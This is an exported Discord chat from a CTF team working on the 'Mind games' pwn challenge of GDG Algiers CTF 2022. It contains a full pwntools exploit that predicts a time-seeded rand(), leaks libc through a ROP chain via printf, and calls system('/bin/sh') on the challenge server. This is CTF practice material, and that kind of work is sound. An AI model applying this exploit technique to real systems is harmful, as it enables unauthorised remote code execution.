Guild icon
Project Sekai
🔒 GDG Algiers CTF 2022 / ✅-pwn-mind-games
Avatar
Mind games - 500 points
Category: Pwn Description: > Help! This program is playing mind games with me!
You need to put an end to this madness.
Note: The binary is already patched to use the provided library and linker. Author : chenx3n Files:Tags: No tags.
Sutx pinned a message to this channel. 10/08/2022 11:00 AM
Avatar
@crazyman ai wants to collaborate 🤝
Avatar
@Piers wants to collaborate 🤝
Avatar
ok this challenge just requires good network lol
🤣 1
11:42
dissapointing finale
Avatar
whats the case when pwn needs good network? except bruting
Avatar
it uses time(0) for seed
11:43
well you can brute +-10 right?
Avatar
well i have 1 try
Avatar
lemmy try some delay
11:43
and see if i can hit it once
Avatar
@god lives in my skin wants to collaborate 🤝
Avatar
@4n0nym4u5 wants to collaborate 🤝
Avatar
@IceCreamMan wants to collaborate 🤝
Avatar
IceCreamMan 10/08/2022 8:29 PM
is it possible to brute force? HAHA
Avatar
Avatar
Piers
and see if i can hit it once
IceCreamMan 10/08/2022 8:29 PM
seems hard ..
20:32
btw whats the flag format?
Avatar
nah dont need to
20:32
Sth sth erudite
Avatar
Avatar
Piers
nah dont need to
IceCreamMan 10/08/2022 8:32 PM
its possible to get same time on local? I cant seem to hit the same time on local
Avatar
possible
20:36
idk why i had a working exploit locally but not remotely
Avatar
@Zafirr wants to collaborate 🤝
Avatar
ok i got it, had to run it on my vps
Avatar
Avatar
Zafirr
used /ctf solve
✅ Challenge solved.
Avatar
can i see your exploit?
20:46
dont know why mine failed
Avatar
from pwn import* import ctypes libc = ELF('libc.so.6') # p = process('./mind-games', env={"LD_PRELOAD": libc.path}) p = remote("pwn.chal.ctf.gdgalgiers.com", 1404) LIBC = ctypes.cdll.LoadLibrary('libc.so.6') LIBC.srand(LIBC.time(0)) ans = LIBC.rand() print(ans) flag = 0x4012d6 ret = 0x401361 printf_plt = 0x401150 got = 0x404030 pop_rdi = 0x00000000004014c3 main = 0x401362 p.sendlineafter("mind?", str(ans).rjust(16, "0").encode() + p64(ret)*10 + p64(pop_rdi) + p64(got) + p64(printf_plt) + p64(ret) + p64(main)) libc_leak = u64(p.recvuntil("\x7f")[-6:] + b'\x00\x00') print(hex(libc_leak)) libc_base = libc_leak - 0x08ec50 system = libc_base + 0x0000000000055410 bin_sh = libc_base + 0x1b75aa LIBC.srand(LIBC.time(0)) ans = LIBC.rand() print(ans) p.sendlineafter("mind?", str(ans).rjust(16, "0").encode() + p64(ret)*10 + p64(pop_rdi) + p64(bin_sh) + p64(system) + p64(ret) + p64(main)) p.interactive()
❤️ 1
Avatar
yeah still dont know why 😶
Avatar
probably just network issues
Avatar
yeah maybe
Exported 35 message(s)